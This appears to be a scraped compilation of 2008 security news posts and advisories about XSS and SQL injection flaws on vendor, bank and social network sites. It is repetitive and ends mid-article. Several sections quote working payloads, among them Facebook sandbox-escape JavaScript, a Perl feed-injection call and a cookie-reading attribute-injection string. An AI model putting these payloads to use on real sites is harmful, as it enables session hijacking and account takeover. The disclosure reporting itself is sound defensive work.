4 X Security Team

According to a security group going under the name of TeamElite, the international sites of Kaspersky Iran (kasperskylabs.ir), Taiwan (web.kaspersky.com.tw) and South Korea (kasperskymall.co.kr) are susceptible to SQL injection attacks, allowing the injection of malicious iFrames and potentially assisting malicious attackers into obtaining sensitive data from the web sites in question.

The group’s analysis comes shortly after the series of posts by a Romanian group of serial pen-testers of security vendors, which discovered similar flaws in the web sites of F-Secure, Symantec, BitDiffender, and Kaspersky USA.

Let’s start from the basics. PR contingency planning in the spirit of total denial is perhaps the worst thing a vendor can do in this case. Despite the fact that these are reseller web sites and are managed by local companies, they still have the license to harness the power of the brand of an information security company, and therefore not demonstrating basic security awareness by taking care of trivial web application vulnerabilities on these sites, can undermine the brand’s integrity and what it stands for at the first place.

From a pragmatic perspective, the licensing company can either exercise pen-testing authority over the locally managed web sites, keep an eye on them through community service warning systems, or introduce obligatory pen-testing before a license is obtained.

Both groups have been notifying the affected vendors according to their posts.

[Source: zdnet]

Project XSSed, the clearing house for cross site scripting flaws has just released details on four flaws affecting Facebook’s developers page, iPhone login page and the new users registration page, potentially assisting malicious attackers into adding more legitimacy to their campaigns. With yet another critical XSS flaw hitting Facebook in May earlier this year, what’s the potential exploitability of such flaws if any in the wake of the ongoing Koobface worm’s rounds across the social networking site?

It’s worth pointing out that in both of these cases there were no known cases of active exploitation, perhaps due to Facebook’s quick reaction upon being notified of them. The very same lack of active exploitation was also present in several other cases throughout the year, namely, the recent XSS affecting Google’s login page, and the multiple HSBC sites (still) vulnerable to XSS flaws. And if we are to exclude the XSS worm at Justin.tv which infected 2,525 profiles in July, active exploitation of such flaws is no longer favored compared to the less noisy social engineering tricks exploiting the weakest link - the Internet user social networking with a false feeling of security.

Take Koobface for instance. It scaled so efficiency without exploiting any social networking site specific flaw, only through social engineering tactics forwarding the entire spreading process to the already infected user, which in a trusted environment of friends proved to be a successful form of spreading. Despite the possibility for active exploitation of such flaws in phishing and malware campaigns, cybercriminals appear no be no longer interested in such noisy approaches, at least not while attempting to spread malware across social networking sites. Among the main reasons for this is the fact that their entire campaign would be based on a single propagation vector, which when taken care of through technical measn would render their campaign useless. Instead, just like the Koobface gang continues to do, they mix the social engineering vectors by abusing legitimate brands as redirectors to the malware infected hosts serving the fake YouTube videos.

The Web in general is an entirely different topic, since I can easily argue that the long tail of SQL injected sites can outpace the traffic that could come from a single high-page ranked site that’s participating in a malware campaign. Case in point - the recent Internet Explorer zero day flaw is currently being served through SQL injections affecting vulnerable sites across the Web, a pretty logical move on which I speculated given the fact that it was originally used on Chinese forums and sites only.

For the record, the Facebook security team has been notified of the recently published flaws.

[Source: zdnet]

Monday, 9 June 2008

Last Update: 11/07/08
Should they all be trusted at first sight by unsuspecting online users? Yes, unfortunately this is the case with the websites of renowned and respected IT security companies. However, now that are all vulnerable to cross-site scripting, the possibilities to get phished and infected with malware and crimeware are dramatically increased.

Verisign.com XSS vulnerabilities (6 unfixed/18-06-08):
registrar.verisign-grs.com XSS submitted by C1c4Tr1Z
blogs.verisign.com XSS submitted by Zeitjak
knowledge.verisign.com XSS submitted by Zeitjak
foreseeresults.verisign.com XSS submitted by Zeitjak
servicecenter.verisign.com Redirect submitted by Zeitjak
ispcenter.verisign.com XSS submitted by Zeitjak

Fixed:
digitalid.verisign.com XSS submitted by Zeitjak
www-apps.verisign.com XSS submitted by TreX / unfixed since 16/01/2008!
search.verisign.com XSS submitted by bill
search.verisign.com XSS submitted by bill
www.verisign.com XSS submitted by i-landet / unfixed since 16/02/2007!!!
search.verisign.com.au XSS submitted by Harry Sintonen



Many high profile sites are "Verisign Secured" (allow me to have my doubts here) and Verisign's own one unsecured? Just wonder how easy it would be for the bad guys to phish your clients, or their customer base - I don't think that they are all aware of the risks imposed by XSS vulnerabilities.

Realize now the risk impact and not until you are forced to do so...

McAfee.com XSS vulnerabilities:
mastdb3.mcafee.com XSS submitted by Zeitjak (pending fix)
knowledge.mcafee.com XSS submitted by C1c4Tr1Z
knowledge.mcafee.com XSS submitted by holisticinfosec
us.mcafee.com XSS submitted by TreX
mcafee.com XSS submitted by kusomiso.com
mcafee.com XSS submitted by www.r3t.n3t.nl
www.mcafee.com XSS submitted by kusomiso.com
knowledge.mcafee.com XSS submitted by i-landet
mcafee.com XSS submitted by mityo on 13/06/08 / published on 15/06/08 (fixed-18/06/08)

All vulns are fixed (last update 11/07/2008).

It is a shame that McAfee continuously lies to the users of their "Hacker Safe" clients...
Building user trust just with evil marketing is not the correct way forward! You do knowingly deceive online users with fake promises concerning their privacy and security. How is this for a business plan? :-/ Deliberate deception techniques like yours are only used for the sake of profiting from increased sales.
We are still receiving on a frequent basis many XSS vulnerable "Hacker unSafe" web sites.
It is an embarassing fact that your site is also vulnerable!

- "More bad news for McAfee, HackerSafe certification", Nathan McFeters, ZDNet Zero Day blog - 1 May 08
- "McAfee 'Hacker Safe' cert sheds more cred", Dan Goodin, TheRegister - 29 Apr 08
- "McAfee isn't 'McAfee Secure' or 'Hacker Safe'...", Nathan McFeters, ZDNet Zero Day blog - 13 May 08

Quoting from Russ McRee's blog post titled "McAfee is not McAfee Secure":

Symantec.com XSS vulnerabilities:
nct.symantecstore.com XSS submitted by C1c4Tr1Z
www-secure.symantec.com XSS submitted by Zeitjak
partnerlocator.symantec.com XSS submitted by S_e_YM_e_N
investor.symantec.com XSS submitted by mox
www4.symantec.com XSS submitted by TreX
www4.symantec.com XSS submitted byTreX
symaccount.symantec.com XSS submitted by www.r3t.n3t.nl
service1.symantec.com XSS submitted by www.r3t.n3t.nl
service4.symantec.com XSS submitted by www.r3t.n3t.nl
photocontest.symantec.com XSS submitted by www.r3t.n3t.nl
service1.symantec.com XSS submitted by www.r3t.n3t.nl
searchg.symantec.com XSS submitted by security0x00
www-secure.symantec.com XSS submitted by www.r3t.n3t.nl
securityresponse.symantec.com XSS submitted by www.r3t.n3t.nl
www.symantec.com XSS submitted by Saime
securityresponse.symantec.com XSS submitted by cachaca
partnerlocator.symantec.com XSS submitted byTotalSchaden
www4.symantec.com XSS submitted by TotalSchaden

10 out of 18 XSS vulns are fixed.

Quoting from this news article:
"Symantec.com is never going to get a status clientHold. Malicious phishers can still use the Symantec's XSS vulnerabilities to spread malware and steal personal sensitive information. Why did they choose to validate a mirror of a corrected PayPal XSS as a phishing site and give us the status clientHold? They should have the clientHold status for leaving an open door to the exploitation of their faithful customer's security and privacy."

I want to believe that all the above issues get fixed within the next few days.

Related News (Updated):
"Major Security Vendors' Sites Could Be Launchpads for Phishing Attacks", Tim Wilson, Dark Reading, 10 Jun 08
"Top security companies not immune to XSS problems", Steve Ragan, The Tech Herald, 11 Jun 08
"Verisign and anti-virus vendors fix cross-site scripting holes", Mike Barwise, heise Security UK, 13 Jun 08
"Scripting bugs blight security giants' websites", John Leyden, The Register, 13 Jun 08
"Major security sites hit by XSS bugs", Matthew Broersma, Techworld, 12 Jun 08

[Source: XSSing]

x2Fusion from TheDefaced.org security team, recently contacted us in regards to a serious XSS vulnerability on the popular lifecasting website Justin.tv:

"As of 'Sat, 28 Jun 2008 21:52:33 GMT' - An XSS worm was released on this website,
this was and is meant only for research purposes. It was successfully executed and
lasted roughly around 24 hours.

We have recorded such records making it possible for us to create graphical images
graphing the progress of this XSS worm as it infected each profile upon the last
being viewed.

The XSS Vulnerability was discovered and fixed during 'Sun, 29 Jun 2008 21:12:21
GMT', with an after mass of 2525 profiles."

Due to insufficient input sanitization of the Location field on users' profiles, TheDefaced.org team could add the following code:


src="justinworm.js" language="javascript">"


The worm's source code will soon be posted on XSSing.com.

"This actually is the very first XSS worm which we have unleashed, and it was
solely upon research reasons; non-malicious at all :)

We've contacted the JTV Programmers prior to the fixing of the XSS worm and
have sorted things out with them and made sure that they knew NO information such as IP Address, Cookies, Sessions and further
information which poses private is not to be released. After that I put myself
forward and found another XSS in turn to prove that I was dedicated to
helping JTV out in any further possible vulnerabilities", says x2Fusion.

[Source: XSSing]

A XSS worm was crawling across Justin.tv, the popular lifecasting platform at the end of June, details of the incident emerged in the middle of last week. Basically, the group that found the XSS vulnerability abused it for the purpose of generating the following graph as a proof of concept, until Justin.tv fixed the flaw rending the worm’s activities obsolete. Now, proof of concept of what exactly remains questionable, since if the research community was to exploit every site vulnerable to SQL injections or high profile sites vulnerable to critical XSS flaws, in order to embedd a counter within and then come up with fancy graphs saying this is the number of people that could have been affected by this flaw, we would be dealing with more PoCs next to the real security incidents executed by malicious parties. This is the statement made by one of the group members that released the PoC :

“As of ‘Sat, 28 Jun 2008 21:52:33 GMT’ - An XSS worm was released on this website, this was and is meant only for research purposes. It was successfully executed and lasted roughly around 24 hours.

We have recorded such records making it possible for us to create graphical images graphing the progress of this XSS worm as it infected each profile upon the last being viewed. The XSS Vulnerability was discovered and fixed during ‘Sun, 29 Jun 2008 21:12:21 GMT’, with an after mass of 2525 profiles.

This actually is the very first XSS worm which we have unleashed, and it was solely upon research reasons; non-malicious at all :)

We’ve contacted the JTV Programmers prior to the fixing of the XSS worm and have sorted things out with them and made sure that they knew NO information such as IP Address, Cookies, Sessions and further information which poses private is not to be released. After that I put myself forward and found another XSS in turn to prove that I was dedicated to helping JTV out in any further possible vulnerabilities”, says x2Fusion. “

Justin.tv fixed it shortly after users started complaining :

“On Saturday we started to receive emails from users saying that their account had been compromised. On Saturday night we found a vulnerability that allowed someone to gain access to another users account without needing their username and password. Emmett worked tirelessly to fix the bug and released a patch on sunday morning. We were informed that as a result of the first vulnerability, personal communications from a number of justin.tv users were posted on flickr for all to see. We greatly regret that this occurred and apologize that we were not able to find and fix this vulnerability sooner. On tuesday and similar vulnerability was found and it was fixed within 2 hours.”

The majority of social networking sites have all be subject to the efficient exploitation of a single XSS flaw, leading hundreds of thousands, sometimes millions of users affected by XSS worms. Orkut, MySpace (as well as a second possibility for a QuickTime XSS flaw), GaiaOnline, Hi5 are just the tip of the iceberg, since a great deal of currently unfixed vulnerabilities can easily become XSS worms if that’s what someone wants to achieve.

Adding a second layer of protecting for the end users, with the first one being the site’s own responsibility for self-auditing themselves, widely used Internet browsers are finally contributing to the second layer of protection, with Mozilla’s Site Security Policy and IE8’s Cross Site Scripting Filter, aiming to protect the user even if the site itself remains vulnerable. Let’s see how long before malicious parties start bypassing the built-in protection mechanisms, and publicly demonstrate this on a large scale.

[Source: zdnet]

Researchers mix cross-site scripting and cross-site request forgery together in a deadly cocktail


MARCH 29, 2007 | Researchers will demonstrate a lethal combination of cross-site scripting (XSS) and cross-site request forgery (CSRF) attacks tomorrow at Black Hat Europe in Amsterdam.

The goal is to show the danger of the two pervasive Web vulnerabilities teaming up in an attack. "Cross-site scripting has its strengths and limitations. Cross-site request forgery has its strengths and limitations," says Billy Rios, senior researcher with Ernst & Young's advanced security center. "We will show how when you use the two in combination, you can use the strength of one to overcome the weakness of the other." (See CSRF Vulnerability: A 'Sleeping Giant'.)

XSS bugs are rampant in Websites and have been well-documented by hacker groups such as sla.ckers.org. And CSRF, which is a bit more complex to execute in an attack, is just as pervasive, Rios says, but has mostly been ignored so far because there's no real solution for detecting it. "We're in a stage now where people know about it, but are ignoring it, and that's kind of dangerous." CSRF hasn't hit the front burner yet mainly because it's tougher to detect than XSS and other threats, he adds. (See Hackers Reveal Vulnerable Websites.)

But Rios and colleague Raghav Dube, also a senior researcher with E&Y's advanced security center, consider any type of one-two punch attack exploiting multiple client-side Web vulnerabilities -- not just XSS and CSRF -- a serious problem. "Any kind of client-side vulnerability that's leveraged by using it in combination with another one expands your arsenal [as an attacker]. It's more dangerous," Rios says, and the next big thing security experts need to be on the lookout for.

The researchers will release the client-side JavaScript code they developed for the two attacks, including the payloads. "We're not going to release our XSS proxy," Rios says. "We want people to understand you don't need my tool to pull this off. You have all you need already on the Net to do those attacks."

In the first attack, the researchers show how to take over a user's account via XSS and use that browser to attack another Website. In the demo, the user first visits a social networking/blogging site, which is easier to get XSS-infected due to the ability to upload content, post messages/comments, etc. But the attacker's real target is a large credit union site. It works like this: Once the user falls victim to the XSS exploit on the social networking site, XSS is used to take over the victim's browser, Rios says.

"In the grand scheme, we don't actually care about the social networking site," he says. The attack then uses CSRF to link between the social networking site and the credit union site, he says. "Once we control the victim's session with the social networking site, we can force and control a session between the browser and the credit union site."

From there, the attacker can attack the credit union site. "We will go into techniques for attacking the credit union, but it's actually the victim that is doing it" unknowingly with their browser, he says. And the victim would have little or no clue the attack was underway, Rios adds. The advantage of combining XSS and CSRF here is that it lets the browser move to different Web domains, not just a single one.

The second attack demo shows how XSS and CSRF can be used to do damage to an internal corporate network. "Because we're using the victim's browser to do these attacks, we can take advantage of all the privileges and trust established by their browser," Rios says. "Because it's inside the corporate LAN, we can drive it to attack other machines inside the firewall. The age-old moat-around-the-internal-net model is basically thrown out the door because our staging point is inside the internal net."

The victim's browser then attacks a network management system on his internal network. CSRF is then able to get information on the internal network. And if the attack is caught or traced back, it's on the victimized user's doorstep. "If they kick down the victim's door, the evidence is on that machine. It was [his] browser that did the attack," and he didn't even know it, Rios says.

And XSS lets CSRF work more two-way instead of just one way: "CSRF alone is a one-way deal," Rios says. "You do the attack and hope it executed. The only way to verify it is through a secondary channel. With XSS, you can verify the CSRF went through, and you get instant feedback."

The demos show targeted attacks on a specific user, but Rios says it would be easy to automate it across multiple users. "We're trying to show that this doesn't require that much sophistication to exploit."

[Source: darkreading]

Jouko Pynnonen posted a message to the Full-Disclosure mailing list today, citing multiple “script injection” vulnerabilities within Facebook. I’m not sure if this is a surprise to anybody out there, it’s certainly not to me, as numerous web applications have major problems with Cross-site Scripting vulnerabilities, but I think this is important to note due to the widespread use of Facebook.

Facebook and other social networks that are heavily populated are increasingly drawing the eye of security researchers and hackers alike, as due to the heavy amount of traffic they receive, they provide an excellent attack deployment point. In fact, there will be a wonderful talk this year at Black Hat Las Vegas 2008 on attacking Social Networks, called “Satan is on My Friends List: Attacking Social Networks“, by Shawn Moyer and Nathan Hamiel. Combining Cross-site Scripting (XSS) with several pieces of research uncovered in the last year (see research by Billy Rios, Rob Carter, and myself on Protocol/URI Handler Abuse [slides/whitepaper], research on attacks against the same origin policy [see here and here], and the new hotness “Ghost in my Browser” based research kicked of by Manuel Caballero, sirdarckcat, Aviv Raff, etc.), a deployment vector like a persistent XSS on Facebook is extremely attractive to attackers.

Read on…

The following message was posted by Pynnonen to the Full-Disclosure mailing list, describing the vulnerabilities:

Hello,

This is a summary of various Facebook security issues found and reported since June 13, 2008. Two of the vulnerabilities still remain on the site, so no details of them are disclosed here. The rest have been fixed.

Any of these could be exploited to take over the victim’s web browser temporarily to e.g. read inbox messages, forcibly install FB applications, manipulate friend lists, post messages as the victim user, etc. Any of these would also allow creation of a self-propagating JavaScript virus/worm.

Most of the issues require the victim user to click on a profile box or visit a canvas page of an application in order to trigger the injected JavaScript. Issues 2) and 3) don’t require mouse clicks.

The vulnerabilities were tested with two browsers: Firefox 3 (Linux + Windows) and Internet Explorer 7.

1) Escaping JS sandbox with literal Function constructor reference
Impact:execution of unrestricted JS on canvas pages or profiles (mouseclick required on profile pages)
Description:The JS sandbox denies references to Function.constructor but using a literal such as “function f() { }” in the code and refering to its constructor with the “bracket syntax” was possible.

The example below uses this method and calls the constructor with a
string argument, then calls the resulting Function object.

Browsers: FF, IE
Reported: June 13, 2008
Fixed: yes
Example:

(function f(){}[”constructor”](”alert(’any javascript here’);”))();

2) Fb:silverlight JS injection
Impact:execution of unrestricted JS on canvas pages, profiles
Description:Simple XSS, described in the previous message to full-disclosure.
Browsers: FF, IE
Reported: June 16, 2008
Fixed: yes
Example:

3) Injecting JS in Feeds
Impact:execution of unrestricted JS when viewing Feeds on profile page or the “home” page
Description:Insufficient input validation in the publishTemplatizedAction API method.
Browsers: FF, IE
Reported: June 16, 2008
Fixed: yes
Example:

# using the perl API
$facebook->feed->publish_templatized_action( title => “My Title”,
title_template => “{actor} is testing feed stories”,
body_template => “hello”,
image_1 => “http://www.mysite.com/image.gif’\”
onload=(function f(){}[’constructor’](’alert(1)’))();”,
image_1_link => “http://www.mysite.com” );

4) Escaping JS sandbox with literal Number reference
Impact:execution of unrestricted JS on canvas pages or profiles (mouseclick required on profile pages)
Description:Using the “bracket syntax” to reference the __parent__ property of a floating point number to get a Window object reference, then calling its eval() to run arbitrary code. IE doesn’t support the property.
Browsers: FF
Reported: June 18, 2008
Fixed: yes
Example:

5) Injecting JS in video attachments
Impact:execution of unrestricted JS when a inbox, wall or forum message is viewed (mouseclick required)
Description: When sharing video content with the http://www.facebook.com/sharer.phpform, some input fields can be modified e.g. with JavaScript. The example below can be typed in the address bar to inject JS in a message.
Browsers: FF, IE
Reported: June 20, 2008
Fixed: yes
Example:

javascript:f=document.forms[0];f[’attachment[params][video][src]’].value=’#” a=b>

6) Escaping JS sandbox with E4X
Impact:execution of unrestricted JS on canvas pages or profiles (mouseclick required on profile pages). Works in browsers supporting E4X (Firefox)
Description:JS parser in browsers supporting E4X understand XML, which can contain multi-line strings. Facebook’s JS sandbox technology didn’t expect XML and multi-line strings. The example below demonstrates how this could be used to fool the sandbox logic.
Browsers: FF
Reported: June 26, 2008
Fixed: yes
Example:

7) Escaping JS sandbox
Impact:execution of unrestricted JS on canvas pages or profiles (mouseclick required on profile pages)
Browsers: FF
Reported: June 21, 2008
Fixed: no

8) Escaping JS sandbox
Impact:execution of unrestricted JS on canvas pages or profiles (mouseclick required on profile pages)
Browsers: FF
Reported: June 21, 2008
Fixed: no

We’ll see more of this as social networking and other web 2.0 apps continue to grow in popularity, and as research in the space of combining XSS with other attack vectors continues (see my presentation at Black Hat Las Vegas 2008 with Heasman, Carter, and Rios).

[Source: zdnet]

For those Skype users out there we get word this morning of a problem that can result in system access from a remote attacker. As a result Skype has released a new version of their software client to address the problem. This problem is apparently restricted to the Windows version.

From Secunia:

Description:
An update has been released for Skype, which implements security enhancements to prevent compromise of users’ systems.

Skype uses the Internet Explorer web control to render HTML from certain websites (e.g. DailyMotion, Metacafe, and SkypeFind). As the content is rendered in the “Local Machine” security zone, this allows execution of arbitrary script code on a user’s system via script insertion vulnerabilities present in these websites.

Various vulnerabilities have been discovered in these sites, which provide vectors when a user e.g. uses the Skype video gallery browser section or finds a video uploaded to the DailyMotion gallery with a specially crafted video title.

Successful exploitation requires that a displayed website is vulnerable to script insertion.

The vulnerability is reported in the following Skype for Windows versions:
- All versions including 3.5.*
- Version 3.6.*.244 and prior

Article Link

[Source: Liquidmatrix]

This one is just off the wire this morning. To fellow WP users out there be aware of this vulnerability and be sure to upgrade your instance as soon as feasible.

From Secunia:

Description:
Two vulnerabilities have been reported in WordPress, which can be exploited by malicious people to conduct cross-site scripting attacks, bypass certain security restrictions, and to compromise a vulnerable system.

1) A vulnerability is caused due to improper access restriction of the administration section. This can be exploited to bypass the authentication mechanism and gain administrative access by setting a specially crafted cookie. This can further be exploited to execute arbitrary PHP code.

Successful exploitation of this vulnerability requires that registering new accounts is enabled.

The vulnerability is reported in version 2.5.

2) Input passed to an unspecified parameter is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Article Link

[Source: Liquidmatrix]

I’m happy to learn that IE8 is going to implement a less ambitious version of a feature which NoScript users have enjoyed for more than one year now. The announcement posts seem not to notice the resemblances of “XSS Filter” with NoScript’s Anti-XSS Protection, the most striking being their non-blocking approach: loading the target page in a “neutralized” form and emitting a warning as an info-bar, which doesn’t require interaction and therefore doesn’t necessarily interrupt user’s workflow. But that’s fine: in facts, under the hood, their filter looks quite less sophisticated than NoScript’s InjectionChecker engine, as it is based on a limited blacklist, apparently targeted to the most common reflective XSS attack patterns as seen in proofs of concept:

The XSS Filter defends against the most common XSS attacks but it is not, and will never be, an XSS panacea. […]

The fact that our filter effectively blocks the common “>”… pattern we see most frequently in Type-1 XSS attacks is inherently a step forward. Pushing that further and blocking other common cases of reflected XSS where possible, as the XSS Filter does, is extra goodness.

Caveats aside, it will be great to see the tens of thousands of publicly disclosed Type-1 XSS vulnerabilities indexed on sites like XSSed.com simply stop working in IE8.

And there I started smiling: you realize, guys, that those listed “on sites like XSSed.com” are not “XSS vulnerabilities” which will “stop working in IE8″, but just minimal exploit test cases — alert("XSS") — which can be refactored and obfuscated in endless ways to obtain the “IE8 compatible” certification. Yeah, it will be great to see.

Ouch. Read on.

If Giorgio is correct (and I have no reason to doubt his knowledge on the subject), the IE 8’s anti-XSS filters are seriously lacking behind the widely popular NoScript plugin which protects the Firefox browser. I agree with Giorgio, there’s so many iterations of XSS attacks that this becomes extremely difficult to stop without a great amount of effort going into the black list. Here’s a few examples of outlier cases where XSS is still possible due to difficulties finding black list matches:

• Use of alternate encodings, similar to some of the UTF-7 attacks that were seen
• Use of regular UTF-8 encodings, i.e. %3c for < (ok, this is an easy one, they should have this)
• HTML attribute injection
  • If dynamic code looks like this:
    • Where “USERVALUE” is controlled by the user
  • Then attackers can supply an attack string like ” onfocus=alert(document.cookie)
  • This results in and an XSS attack
• Injection straight to JavaScript code
  • User supplied input goes directly into javascript code. Attacker must make previous JavaScript valid, but typically requires no <, >, or ” to make the exploit happen.

This all not to mention the numerous HTML tags that can be used, including things you’d never expect, like . It will be interesting to see how the IE 8 anti-XSS filter stands up to scrutiny by the community, but I do applaud them for the effort. At a minimum something is being done and progress is being made, if things turn out great, then we may have some of the NoScript features that protect Firefox.

This brings up an interesting question… why is NoScript not just a part of the Firefox browser, not simply a plugin?

Finally, is there any protection like this for Safari? I’ll answer that for you. There’s not.

[Source: zdnet]

Last Update: 18/06/08
Should they all be trusted at first sight by unsuspecting online users? Yes, unfortunately this is the case with the websites of renowned and respected IT security companies. However, now that are all vulnerable to cross-site scripting, the possibilities to get phished and infected with malware and crimeware are dramatically increased.

Verisign.com XSS vulnerabilities (6 unfixed/18-06-08):
registrar.verisign-grs.com XSS submitted by C1c4Tr1Z
blogs.verisign.com XSS submitted by Zeitjak
knowledge.verisign.com XSS submitted by Zeitjak
foreseeresults.verisign.com XSS submitted by Zeitjak
servicecenter.verisign.com Redirect submitted by Zeitjak
ispcenter.verisign.com XSS submitted by Zeitjak

Fixed:
digitalid.verisign.com XSS submitted by Zeitjak
www-apps.verisign.com XSS submitted by TreX / unfixed since 16/01/2008!
search.verisign.com XSS submitted by bill
search.verisign.com XSS submitted by bill
www.verisign.com XSS submitted by i-landet / unfixed since 16/02/2007!!!
search.verisign.com.au XSS submitted by Harry Sintonen



Many high profile sites are "Verisign Secured" (allow me to have my doubts here) and Verisign's own one unsecured? Just wonder how easy it would be for the bad guys to phish your clients, or their customer base - I don't think that they are all aware of the risks imposed by XSS vulnerabilities.

Realize now the risk impact and not until you are forced to do so...

McAfee.com XSS vulnerabilities:
mastdb3.mcafee.com XSS submitted by Zeitjak (pending fix)
knowledge.mcafee.com XSS submitted by C1c4Tr1Z
knowledge.mcafee.com XSS submitted by holisticinfosec
us.mcafee.com XSS submitted by TreX
mcafee.com XSS submitted by kusomiso.com
mcafee.com XSS submitted by www.r3t.n3t.nl
www.mcafee.com XSS submitted by kusomiso.com
knowledge.mcafee.com XSS submitted by i-landet
mcafee.com XSS submitted by mityo on 13/06/08 / published on 15/06/08 (fixed-18/06/08)

8 out of 9 XSS vulns are fixed.

It is a shame that McAfee continuously lies to the users of their "Hacker Safe" clients...
Building user trust just with evil marketing is not the correct way forward! You do knowingly deceive online users with fake promises concerning their privacy and security. How is this for a business plan? :-/ Deliberate deception techniques like yours are only used for the sake of profiting from increased sales.
We are still receiving on a frequent basis many XSS vulnerable "Hacker unSafe" web sites.
It is an embarassing fact that your site is also vulnerable!

- "More bad news for McAfee, HackerSafe certification", Nathan McFeters, ZDNet Zero Day blog - 1 May 08
- "McAfee 'Hacker Safe' cert sheds more cred", Dan Goodin, TheRegister - 29 Apr 08
- "McAfee isn't 'McAfee Secure' or 'Hacker Safe'...", Nathan McFeters, ZDNet Zero Day blog - 13 May 08

Quoting from Russ McRee's blog post titled "McAfee is not McAfee Secure":

Symantec.com XSS vulnerabilities:
nct.symantecstore.com XSS submitted by C1c4Tr1Z
www-secure.symantec.com XSS submitted by Zeitjak
partnerlocator.symantec.com XSS submitted by S_e_YM_e_N
investor.symantec.com XSS submitted by mox
www4.symantec.com XSS submitted by TreX
www4.symantec.com XSS submitted byTreX
symaccount.symantec.com XSS submitted by www.r3t.n3t.nl
service1.symantec.com XSS submitted by www.r3t.n3t.nl
service4.symantec.com XSS submitted by www.r3t.n3t.nl
photocontest.symantec.com XSS submitted by www.r3t.n3t.nl
service1.symantec.com XSS submitted by www.r3t.n3t.nl
searchg.symantec.com XSS submitted by security0x00
www-secure.symantec.com XSS submitted by www.r3t.n3t.nl
securityresponse.symantec.com XSS submitted by www.r3t.n3t.nl
www.symantec.com XSS submitted by Saime
securityresponse.symantec.com XSS submitted by cachaca
partnerlocator.symantec.com XSS submitted byTotalSchaden
www4.symantec.com XSS submitted by TotalSchaden

10 out of 18 XSS vulns are fixed.

Quoting from this news article:
"Symantec.com is never going to get a status clientHold. Malicious phishers can still use the Symantec's XSS vulnerabilities to spread malware and steal personal sensitive information. Why did they choose to validate a mirror of a corrected PayPal XSS as a phishing site and give us the status clientHold? They should have the clientHold status for leaving an open door to the exploitation of their faithful customer's security and privacy."

I want to believe that all the above issues get fixed within the next few days.

Related News (Updated):
"Major Security Vendors' Sites Could Be Launchpads for Phishing Attacks", Tim Wilson, Dark Reading, 10 Jun 08
"Top security companies not immune to XSS problems", Steve Ragan, The Tech Herald, 11 Jun 08
"Verisign and anti-virus vendors fix cross-site scripting holes", Mike Barwise, heise Security UK, 13 Jun 08
"Scripting bugs blight security giants' websites", John Leyden, The Register, 13 Jun 08
"Major security sites hit by XSS bugs", Matthew Broersma, Techworld, 12 Jun 08

[Source: xssed]

Evidently, major unwanted consequences could be a result of multiple cross-site scripting vulnerabilities affecting bank web sites. XSS must be considered as the phishers' future weapon by all people working in the security industry.

Scammers can register domains and set up fake bank web sites in a few minutes. With the help of bulk e-mailers they can phish personal sensitive data from thousands of unsuspecting web users.

If they want to own HSBC's e-banking customers, all they have to do is to register a "suspicious" looking domain like hscsbc.com which is currently available and then serve a phishing page.
Even better, they can exploit a cross-site scripting vuln on hsbc.com, obfuscate the attack vector and significantly increase their phishing success rate!

Updated: 23/06/08:
www.investdirect.hsbc.gr XSS notified by Hexspirit
www.investdirect.hsbc.gr XSS notified by Hexspirit
www.hsbc.com.sv XSS notified by sl4xUz
www.hsbc.com XSS notified by Airrox
-
www.hsbc.co.uk XSS notified by PaPPy / unfixed
www.hsbc.com.tr XSS notified by DaiMon / unfixed since 26/05/2008
www.hbeu1.hsbc.com XSS notified by DaiMon / unfixed since 26/05/2008
www.hsbc.com.tr XSS notified by Babaconda / unfixed since 25/05/2008
www.hsbcprivatebankfrance.com XSS notified by ironzorg / unfixed since 25/04/2008
www.hsbc.fi.cr XSS notified by Venom23 / unfixed since 26/02/2008
www.hsbc.com XSS notified by Darkster / published on 26/07/2007 - fixed on 12/09/2007
monavenir.hsbc.fr XSS notified by takethis /published on 01/04/2007 - fixed on 21/08/2007

Protect your customers' privacy and security now! Leaving site-specific vulnerabilities open for days, weeks or months, can lead to substantial financial losses! :-/

We suggest that you subscribe your online properties to the XSS early warning mailing list.

Related News (Updated):
"HSBC scripting flaws play into the hands of phishers", John Leyden, The Register, 25 Jun 08

[Source: xssed]

Web application security firm Cenzic has flagged a serious cross-site scripting vulnerability affecting millions of Yahoo Mail users.

The flaw, which was patched by Yahoo on June 13,  opened the door for hackers to steal Yahoo identities and gain access to users’ sensitive and private information.

The skinny, via a Cenzic advisory:

If the attacker is using the Yahoo! Messenger desktop application 8.1.0.209 to chat with the victim, and the victim is using the Messenger support in the new Yahoo! Mail Web application, it will cause a new chat tab to open in the victim’s browser. While chatting, the attacker can change their status to “invisible” causing a message of “offline” in the chat tab of the victim. The vulnerability occurred when the attacker then changed status, and sent a custom message containing a malicious string in the form of a status message of “online,” with the script executed in the context of Yahoo! Mail on the victim’s machine. This allowed an attacker to get active access to the victim’s session ID, and in turn steal their Yahoo! identity, exposing sensitive personal information stored in their Yahoo! account.

[ ALSO SEE: Firefox raises barrier to cross-site scripting attacks ]

[Source: zdnet]

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in its “Print Table of Links” feature. This feature allows users to add to a printed web page an appendix which contains a table of all the links in that webpage.

An attacker can easily add a specially crafted link to a webpage (e.g. at his own website, comments in blogs, social networks, Wikipedia, etc.), so whenever a user will print this webpage with this feature enabled, the attacker will be able to run arbitrary code on the user’s machine (i.e. in order to take control over the machine).

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.

Windows Vista with UAC enabled is partially affected (Information Leakage only).

Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource script which generates an new HTML to be printed. This HTML consists of the following elements: Header, webpage body, Footer, and if enabled, also the table of links in the webpage.

While the script takes only the text within the link’s inner data, it does not validate the URL of links, and add it to the HTML as it is. This allows to inject a script that will be executed when the new HTML will be generated.

As I said in a previous post, most of the local resources in Internet Explorer are now running in Internet Zone. Unfortunately, the printing local resource script is running in Local Machine Zone, which means that any injected script can execute arbitrary code on the user’s machine.

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

 

I removed the proof-of-concept of the 0day treasure hunt. A live proof-of-concept can be found at milw0rm.

Solution / Suggestion

I’ve contacted Microsoft last Tuesday. Their last response was that they are looking at an appropriate fix.

Until a patch is available, I suggest not to use the “print table of links” feature when printing a webpage.

01-08-2008
cross site scripting (XSS) can be exploited by phishers to build really effective attacks. Today we have analyzed another similar attack that includes some enhanced features. The attack was exploiting an injection flaw in an Internet banking application, specifically located in the module used to display warning messages to users.

The function took a single GET parameter:

https://www.well-known-bank.com/popup.asp?msg=[ASCII_encoded_message_to_display]

